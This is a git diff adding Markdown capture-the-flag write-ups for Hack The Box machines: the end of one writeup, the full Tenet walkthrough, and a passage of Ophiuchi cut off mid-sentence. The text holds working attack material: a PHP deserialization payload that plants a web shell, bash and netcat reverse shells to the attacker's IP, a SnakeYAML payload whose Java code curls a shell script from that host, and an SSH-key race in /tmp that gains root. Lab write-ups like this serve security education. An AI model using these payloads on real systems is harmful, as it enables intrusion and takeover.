(logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + + + Disk /dev/loop4: 31.1 MiB, 32595968 bytes, 63664 sectors + Units: sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + + + Disk /dev/loop5: 55.4 MiB, 58052608 bytes, 113384 sectors + Units: sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + + + Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors + Units: sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + Disklabel type: gpt + Disk identifier: 32558524-85A4-4072-AA28-FA341BE86C2E + + Device Start End Sectors Size Type + /dev/sda1 2048 4095 2048 1M BIOS boot + /dev/sda2 4096 37746687 37742592 18G Linux filesystem + /dev/sda3 37746688 41940991 4194304 2G Linux swap + + + +We can safely assume that the host system's files are in **/dev/sda2** , so let's mount /dev/sda2 into **/mnt** : + + + root@gitlab:~# mkdir /mnt/nihilist + root@gitlab:~# mount /dev/sda2 /mnt/nihilist/ + root@gitlab:~# cd /mnt/nihilist/root/ + root@gitlab:/mnt/nihilist/root# ls -l + total 16 + drwxr-xr-x 3 root root 4096 Dec 1 2020 docker-gitlab + drwxr-xr-x 10 root root 4096 Jul 9 2020 ready-channel + -r-------- 1 root root 33 Jul 8 2020 root.txt + drwxr-xr-x 3 root root 4096 May 18 2020 snap + root@gitlab:/mnt/nihilist/root# cat root.txt + b7XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to mount the host system's file system and got the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/65_graph.png) + diff --git a/Medium/66.md b/Medium/66.md new file mode 100644 index 0000000..a85ea77 --- /dev/null +++ b/Medium/66.md @@ -0,0 +1,541 @@ +# Tenet Writeup + +![](img/66.png) + +## Introduction : + +Tenet is a Medium Linux box released back in January 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Tenet] + → nmap -vvv -p- 10.10.10.223 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.223 + Discovered open port 80/tcp on 10.10.10.223 + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Tenet] + → nmap -sCV -p 22,80 10.10.10.223 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 11:21 CEST + Nmap scan report for 10.10.10.223 + Host is up (0.48s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA) + | 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA) + |_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Apache2 Ubuntu Default Page: It works + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 24.77 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Tenet] + → gobuster dir -u http://10.10.10.223 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.223 + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Timeout: 10s + =============================================================== + 2021/07/05 11:34:57 Starting gobuster in directory enumeration mode + =============================================================== + /.htpasswd (Status: 403) [Size: 277] + /.hta (Status: 403) [Size: 277] + /.htaccess (Status: 403) [Size: 277] + /index.md (Status: 200) [Size: 10918] + /server-status (Status: 403) [Size: 277] + /wordpress (Status: 301) [Size: 316] [--> http://10.10.10.223/wordpress/] + + =============================================================== + 2021/07/05 11:35:49 Finished + =============================================================== + + +Gobuster finds the wordpress site so let's investigate it: + +![](prg/66_001.png) + +The wordpress site isn't being rendered properly because our browser can't resolve the **tenet.htb** domain name so let's add it to our hosts file: + +![](prg/66_002.png) + + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → sudo -i + [sudo] password for nothing: + ┌──(root💀mahakali)-[~] + └─# echo '10.10.10.223 tenet.htb' >> /etc/hosts + + ┌──(root💀mahakali)-[~] + └─# ping -c1 tenet.htb + PING tenet.htb (10.10.10.223) 56(84) bytes of data. + 64 bytes from tenet.htb (10.10.10.223): icmp_seq=1 ttl=63 time=480 ms + + --- tenet.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 480.281/480.281/480.281/0.000 ms + + ┌──(root💀mahakali)-[~] + └─# exit + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → + + + +` ![](prg/66_003.png) + +Now that the wordpress site renders properly, we can run wp-scan on it however this really takes forever so instead we simply take a look at the blogposts, and we find the one mentionning the **sator.php** file: + +![](prg/66_004.png) + +since it also suggests a backup extention we can guess the **sator.php.bak** file aswell: + + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → curl http://10.10.10.223/sator.php + [+] Grabbing users from text file + + [] Database updated + % + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → curl http://10.10.10.223/sator.php.bak + <****?php + + class DatabaseExport + { + public $user_file = 'users.txt'; + public $data = ''; + + public function update_db() + { + echo '[+] Grabbing users from text file + '; + $this-> data = 'Success'; + } + + + public function __destruct() + { + file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data); + echo '[] Database updated + '; + // echo 'Gotta get this working properly...'; + } + } + + $input = $_GET['arepo'] ?? ''; + $databaseupdate = unserialize($input); + + $app = new DatabaseExport; + $app -> update_db(); + + + ?> + + +And basically here we see that sator.php has an **arepo** parameter we can use to pass a serialized object which will then enter the **unserialize()** function, so basically from here we know that we need to create a malicious serialized object to take over the **DatabaseExport** function that gets called right after the unserialization, to do that we create the following php file: + + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → vim pwn.php + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → cat pwn.php + <****?php + + class DatabaseExport + { + public $user_file = 'nihilist.php'; + public $data = ' '; + } + + $pwn = new DatabaseExport; + echo(serialize($pwn)) + + ?> + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → php pwn.php + O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"nihilist.php";s:4:"data";s:34:"<****?php system($_REQUEST["cmd"]); ?>";} + +So now that we have our serialized object, let's pass it to the machine using the **arepo** php parameter on the sator.php file: + +![](prg/66_005.png) + +Here we can suspect it worked because of the second **[] Database updated** line, so let's test it by trying the following URL: + + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → curl http://10.10.10.223/nihilist.php + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → curl http://10.10.10.223/nihilist.php\?cmd\=id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + + +And we managed to upload our nihilist.php file! Now that we have remote code execution let's spawn a reverse shell: + + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → curl http://10.10.10.223/nihilist.php\?cmd\=bash -c "bash -i >& /dev/tcp/10.10.14.8/9002 0>&1" + + + +Now if you try this, it won't work because it needs to be URL encoded. so to URL encode it properly we can use burpsuite: + +![](prg/66_006.png) ![](prg/66_007.png) + +So now we send the following GET request: + + + GET /nihilist.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.8/9002+0>%261" HTTP/1.1 + Host: 10.10.10.223 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Connection: close + Upgrade-Insecure-Requests: 1 + Cache-Control: max-age=0 + + + +` ![](prg/66_008.png) + +Now that we get a reverse shell as www-data, let's upgrade it to a fully interactive TTY: + + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.223] 47776 + bash: cannot set terminal process group (1566): Inappropriate ioctl for device + bash: no job control in this shell + www-data@tenet:/var/www/html$ which python python3 wget curl + which python python3 wget curl + /usr/bin/python3 + /usr/bin/wget + /usr/bin/curl + www-data@tenet:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")' + python3 -c 'import pty;pty.spawn("/bin/bash")' + www-data@tenet:/var/www/html$ ^Z + [1] + 3300120 suspended nc -lvnp 9002 + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → stty raw -echo ;fg + [1] + 3300120 continued nc -lvnp 9002 + export TERM=screen-256color + www-data@tenet:/var/www/html$ export SHELL=bash + www-data@tenet:/var/www/html$ stty rows 50 columns 200 + www-data@tenet:/var/www/html$ reset + + + +Now that we have a fully interactive TTY to work with, let's see which user we need to privesc to: + + + www-data@tenet:/var/www/html$ ls -lash /home + total 12K + 4.0K drwxr-xr-x 3 root root 4.0K Dec 17 2020 . + 4.0K drwxr-xr-x 23 root root 4.0K Jan 7 09:58 .. + 4.0K drwxr-xr-x 5 neil neil 4.0K Jan 7 10:06 neil + www-data@tenet:/var/www/html$ ls -lash /home/neil/ + total 36K + 4.0K drwxr-xr-x 5 neil neil 4.0K Jan 7 10:06 . + 4.0K drwxr-xr-x 3 root root 4.0K Dec 17 2020 .. + 0 lrwxrwxrwx 1 neil neil 9 Dec 17 2020 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 neil neil 220 Dec 16 2020 .bash_logout + 4.0K -rw-r--r-- 1 neil neil 3.7K Dec 16 2020 .bashrc + 4.0K drwx------ 2 neil neil 4.0K Dec 17 2020 .cache + 4.0K drwx------ 3 neil neil 4.0K Dec 17 2020 .gnupg + 4.0K drwxrwxr-x 3 neil neil 4.0K Dec 17 2020 .local + 4.0K -rw-r--r-- 1 neil neil 807 Dec 16 2020 .profile + 4.0K -r-------- 1 neil neil 33 Jul 5 09:24 user.txt + www-data@tenet:/var/www/html$ cat /home/neil/user.txt + cat: /home/neil/user.txt: Permission denied + + + +So let's find a way to get to the neil user, to do so we simply take a look at the wordpress config file: + + + www-data@tenet:/var/www/html$ ls -l + total 32 + -rw-r--r-- 1 www-data www-data 34 Jul 5 11:25 nihilist.php + -rw-r--r-- 1 www-data www-data 10918 Dec 16 2020 index.html + -rwxr-xr-x 1 www-data www-data 514 Dec 17 2020 sator.php + -rwxr-xr-x 1 www-data www-data 514 Dec 17 2020 sator.php.bak + -rw-r--r-- 1 www-data www-data 7 Jul 5 11:25 users.txt + drwxr-xr-x 5 www-data www-data 4096 Jul 5 09:49 wordpress + www-data@tenet:/var/www/html$ cd wordpress/ + www-data@tenet:/var/www/html/wordpress$ ls -l + total 220 + -rw-r--r-- 1 www-data www-data 405 Feb 6 2020 index.php + -rw-r--r-- 1 www-data www-data 19915 Feb 12 2020 license.txt + -rw-r--r-- 1 www-data www-data 7278 Jun 26 2020 readme.html + -rw-r--r-- 1 www-data www-data 7101 Jul 28 2020 wp-activate.php + drwxr-xr-x 9 www-data www-data 4096 Dec 8 2020 wp-admin + -rw-r--r-- 1 www-data www-data 351 Feb 6 2020 wp-blog-header.php + -rw-r--r-- 1 www-data www-data 2328 Oct 8 2020 wp-comments-post.php + -rw-r--r-- 1 www-data www-data 2913 Feb 6 2020 wp-config-sample.php + -rw-r--r-- 1 www-data www-data 3185 Jan 7 10:04 wp-config.php + drwxr-xr-x 5 www-data www-data 4096 Jul 5 09:49 wp-content + -rw-r--r-- 1 www-data www-data 3939 Jul 30 2020 wp-cron.php + drwxr-xr-x 25 www-data www-data 12288 Dec 8 2020 wp-includes + -rw-r--r-- 1 www-data www-data 2496 Feb 6 2020 wp-links-opml.php + -rw-r--r-- 1 www-data www-data 3300 Feb 6 2020 wp-load.php + -rw-r--r-- 1 www-data www-data 49831 Nov 9 2020 wp-login.php + -rw-r--r-- 1 www-data www-data 8509 Apr 14 2020 wp-mail.php + -rw-r--r-- 1 www-data www-data 20975 Nov 12 2020 wp-settings.php + -rw-r--r-- 1 www-data www-data 31337 Sep 30 2020 wp-signup.php + -rw-r--r-- 1 www-data www-data 4747 Oct 8 2020 wp-trackback.php + -rw-r--r-- 1 www-data www-data 3236 Jun 8 2020 xmlrpc.php + www-data@tenet:/var/www/html/wordpress$ cat wp-config.php + <****?php + /** + * The base configuration for WordPress + * + * The wp-config.php creation script uses this file during the + * installation. You don't have to use the web site, you can + * copy this file to "wp-config.php" and fill in the values. + * + * This file contains the following configurations: + * + * * MySQL settings + * * Secret keys + * * Database table prefix + * * ABSPATH + * + * @link https://wordpress.org/support/article/editing-wp-config-php/ + * + * @package WordPress + */ + + // ** MySQL settings - You can get this info from your web host ** // + /** The name of the database for WordPress */ + define( 'DB_NAME', 'wordpress' ); + + /** MySQL database username */ + define( 'DB_USER', 'neil' ); + + /** MySQL database password */ + define( 'DB_PASSWORD', 'Opera2112' ); + + [...] + +And it looks like we have credentials! let's try to privesc to neil using his password **Opera2112** : + + + www-data@tenet:/var/www/html/wordpress$ su - neil + Password: + neil@tenet:~$ id + uid=1001(neil) gid=1001(neil) groups=1001(neil) + neil@tenet:~$ cat user.txt + c9XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we managed to privesc to the neil user and got the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user, we take a look at what neil can execute with **sudo -l** : + + + neil@tenet:~$ sudo -l + Matching Defaults entries for neil on tenet: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\: + + User neil may run the following commands on tenet: + (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh + + + +So apparently the neil user can run the **/usr/local/bin/enableSSH.sh** bashscript as root without any password. + + + neil@tenet:~$ ls -lash /usr/local/bin/enableSSH.sh + 4.0K -rwxr-xr-x 1 root root 1.1K Dec 8 2020 /usr/local/bin/enableSSH.sh + + + +However we don't own it so we cannot change the bashscript to directly put a reverse shell in it, so let's see what it does: + + + neil@tenet:~$ cat /usr/local/bin/enableSSH.sh + #!/bin/bash + + checkAdded() { + + sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) + + if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then + + /bin/echo "Successfully added $sshName to authorized_keys file!" + + else + + /bin/echo "Error in adding $sshName to authorized_keys file!" + + fi + + } + + checkFile() { + + if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then + + /bin/echo "Error in creating key file!" + + if [[ -f $1 ]]; then /bin/rm $1; fi + + exit 1 + + fi + + } + + addKey() { + + tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX) + + (umask 110; touch $tmpName) + + /bin/echo $key >>$tmpName + + checkFile $tmpName + + /bin/cat $tmpName >>/root/.ssh/authorized_keys + + /bin/rm $tmpName + + } + + key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu" + addKey + checkAdded + + + +When you take a closer look here: + + + addKey() { + tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX) + (umask 110; touch $tmpName) + + **/bin/echo $key >>$tmpName + checkFile $tmpName + /bin/cat $tmpName >>/root/.ssh/authorized_keys** + + /bin/rm $tmpName + } + + +You see that the checkFile function is being run and right after the ssh key gets added to the root user's authorized_keys file, so this means that we can potentially just change the ssh public key that gets loaded into **/tmp/** to replace it with our own, so the easy way to do this is to just run a bashscript which will iterate through every file that begins with **ssh** into /tmp and simply replace it with our public SSH key so that we can login as root afterward. + + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Tenet] + → cat ~/.ssh/mahakaliVM.pub + ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali + + [terminal 2] + neil@tenet:~$ cd /tmp + neil@tenet:/tmp$ while true; do echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali" | tee /tmp/ssh* >/dev/null ;done + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] + → ssh neil@tenet.htb + neil@tenet.htb's password: + Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Mon Jul 5 12:46:53 UTC 2021 + + System load: 1.62 Processes: 201 + Usage of /: 15.1% of 22.51GB Users logged in: 1 + Memory usage: 9% IP address for ens160: 10.10.10.223 + Swap usage: 0% + + + 53 packages can be updated. + 31 of these updates are security updates. + To see these additional updates run: apt list --upgradable + + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + + Last login: Mon Jul 5 12:46:27 2021 from 10.10.14.8 + neil@tenet:~$ sudo enableSSH.sh + Error in adding root@ubuntu to authorized_keys file! + neil@tenet:~$ sudo enableSSH.sh + Successfully added root@ubuntu to authorized_keys file! + + [terminal 3] + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Tenet] + → ssh root@10.10.10.223 -i ~/.ssh/mahakaliVM + Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Mon Jul 5 12:47:11 UTC 2021 + + System load: 1.53 Processes: 206 + Usage of /: 15.1% of 22.51GB Users logged in: 1 + Memory usage: 9% IP address for ens160: 10.10.10.223 + Swap usage: 0% + + + 53 packages can be updated. + 31 of these updates are security updates. + To see these additional updates run: apt list --upgradable + + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + + Last login: Thu Feb 11 14:37:46 2021 + root@tenet:~# id + uid=0(root) gid=0(root) groups=0(root) + root@tenet:~# cat /root/root.txt + 9fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/66_graph.png) + diff --git a/Medium/67.md b/Medium/67.md new file mode 100644 index 0000000..e1f05f5 --- /dev/null +++ b/Medium/67.md @@ -0,0 +1,735 @@ +# Ophiuchi Writeup + +![](img/67.png) + +## Introduction : + +Ophiuchi is a Medium Linux box released back in Febuary 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Tenet] + → nmap -vvv -p- 10.10.10.227 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 8080/tcp on 10.10.10.227 + Discovered open port 22/tcp on 10.10.10.227 + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Tenet] + → nmap -sCV -p 22,8080 10.10.10.227 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 15:12 CEST + Nmap scan report for 10.10.10.227 + Host is up (0.48s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA) + | 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA) + |_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519) + 8080/tcp open http Apache Tomcat 9.0.38 + |_http-open-proxy: Proxy might be redirecting requests + |_http-title: Parse YAML + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 28.74 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up Apache Tomcat running on port 8080 so let's investigate it: + +![](prg/67_001.png) + +So the webserver is apparently a YAML parser, similarly to the [Time](64.html) box, this is probably about deserialization, however unlike for the Time box, giving it random data does not necessarily reveal the backend that's being used. Rather we can simply base our assumption that it is running a java backend because we saw that we were on apache tomcat. So let's look for YAML java deserialization payload by googling a bit, and we stumble upon [this](https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858) article, so let's first verify that this webserver is vulnerable with the following payload: + + + !!javax.script.ScriptEngineManager [ + !!java.net.URLClassLoader [[ + !!java.net.URL ["http://10.10.14.8:9090"] + ]] + ] + + +` ![](prg/67_002.png) + +And it looks like the webserver is vulnerable to that deserialization! Now let's get another payload from [this](https://github.com/artsploit/yaml-payload) github repository, this time we need a YAML payload with the .jar extention: + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Ophiuchi] + → git clone https://github.com/artsploit/yaml-payload + Cloning into 'yaml-payload'... + remote: Enumerating objects: 10, done. + remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10 + Receiving objects: 100% (10/10), done. + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Ophiuchi] + → cd yaml-payload + + + +Now before we get started, let's first prepare our payloads. We want the box to download a **shell.sh** file from our box which contains a reverse shell payload in it, we want the box to save it in **/tmp** and then we want the box to run it. + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → vim shell.sh + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → cat shell.sh + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 9001 >/tmp/f + + +Now we make the first payload to make the box download our shell.sh file: + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → vim src/artsploit/AwesomeScriptEngineFactory.java + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → cat src/artsploit/AwesomeScriptEngineFactory.java + package artsploit; + + import javax.script.ScriptEngine; + import javax.script.ScriptEngineFactory; + import java.io.IOException; + import java.util.List; + + public class AwesomeScriptEngineFactory implements ScriptEngineFactory { + + public AwesomeScriptEngineFactory() { + try { + Runtime.getRuntime().exec("**curl http://10.10.14.8:9090/shell.sh -o /tmp/shell.sh** "); + } catch (IOException e) { + e.printStackTrace(); + } + } + + [...] + + +Once that's done we compile it: + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → javac src/artsploit/AwesomeScriptEngineFactory.java + Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → jar -cvf yaml-payload1.jar -C src/ . + Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true + added manifest + adding: artsploit/(in = 0) (out= 0)(stored 0%) + adding: artsploit/AwesomeScriptEngineFactory.class(in = 1640) (out= 702)(deflated 57%) + adding: artsploit/AwesomeScriptEngineFactory.java(in = 1513) (out= 413)(deflated 72%) + ignoring entry META-INF/ + adding: META-INF/services/(in = 0) (out= 0)(stored 0%) + adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%) + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → ls -l + total 16 + -rw-r--r-- 1 nothing nothing 623 Jul 5 15:55 README.md + -rw-r--r-- 1 nothing nothing 78 Jul 5 16:44 shell.sh + drwxr-xr-x 4 nothing nothing 4096 Jul 5 15:55 src + -rw-r--r-- 1 nothing nothing 2231 Jul 5 18:32 yaml-payload1.jar + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + +Now that's ready, let's make the box get our jar file at the url **http://10.10.14.8:9090/yaml-payload1.jar** using the following payload: + + + [firefox session] + !!javax.script.ScriptEngineManager [ + !!java.net.URLClassLoader [[ + !!java.net.URL ["http://10.10.14.8:9090/yaml-payload1.jar"] + ]] + ] + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.10.10.227 - - [05/Jul/2021 18:41:16] "GET /yaml-payload1.jar HTTP/1.1" 200 - + 10.10.10.227 - - [05/Jul/2021 18:41:16] "GET /yaml-payload1.jar HTTP/1.1" 200 - + + + +Now we know it downloaded our .jar file, however it didn't download our shell.sh file, looking at the error that occured we see why: + +![](prg/67_003.png) + + + Root Cause + + java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been compiled by a more recent version of the Java Runtime (class file version 61.0), this version of the Java Runtime only recognizes class file versions up to 55.0 + + + +If you get this problem, purge out the version of java you're using and get JDK 11: + + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → sudo apt remove openjdk-17-jdk + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → sudo apt autoremove -y + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → sudo apt install openjdk-11-jdk + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → javac -version + Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true + javac 11.0.11 + + + +Now that's done we repeat the previous steps: + + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → javac src/artsploit/AwesomeScriptEngineFactory.java + Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → jar -cvf yaml-payload1.jar -C src/ . + Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true + added manifest + adding: artsploit/(in = 0) (out= 0)(stored 0%) + adding: artsploit/AwesomeScriptEngineFactory.class(in = 1640) (out= 694)(deflated 57%) + adding: artsploit/AwesomeScriptEngineFactory.java(in = 1513) (out= 413)(deflated 72%) + ignoring entry META-INF/ + adding: META-INF/services/(in = 0) (out= 0)(stored 0%) + adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%) + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → ls -l + total 16 + -rw-r--r-- 1 nothing nothing 623 Jul 5 15:55 README.md + -rw-r--r-- 1 nothing nothing 78 Jul 5 16:44 shell.sh + drwxr-xr-x 4 nothing nothing 4096 Jul 5 15:55 src + -rw-r--r-- 1 nothing nothing 2223 Jul 5 19:45 yaml-payload1.jar + + + +We run the previous java YAML deserialization payload in firefox, and we see the following: + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.10.10.227 - - [05/Jul/2021 19:47:29] "GET /yaml-payload1.jar HTTP/1.1" 200 - + 10.10.10.227 - - [05/Jul/2021 19:47:30] "GET /yaml-payload1.jar HTTP/1.1" 200 - + 10.10.10.227 - - [05/Jul/2021 19:47:31] "GET /shell.sh HTTP/1.1" 200 - + + +Here we see a better result, the 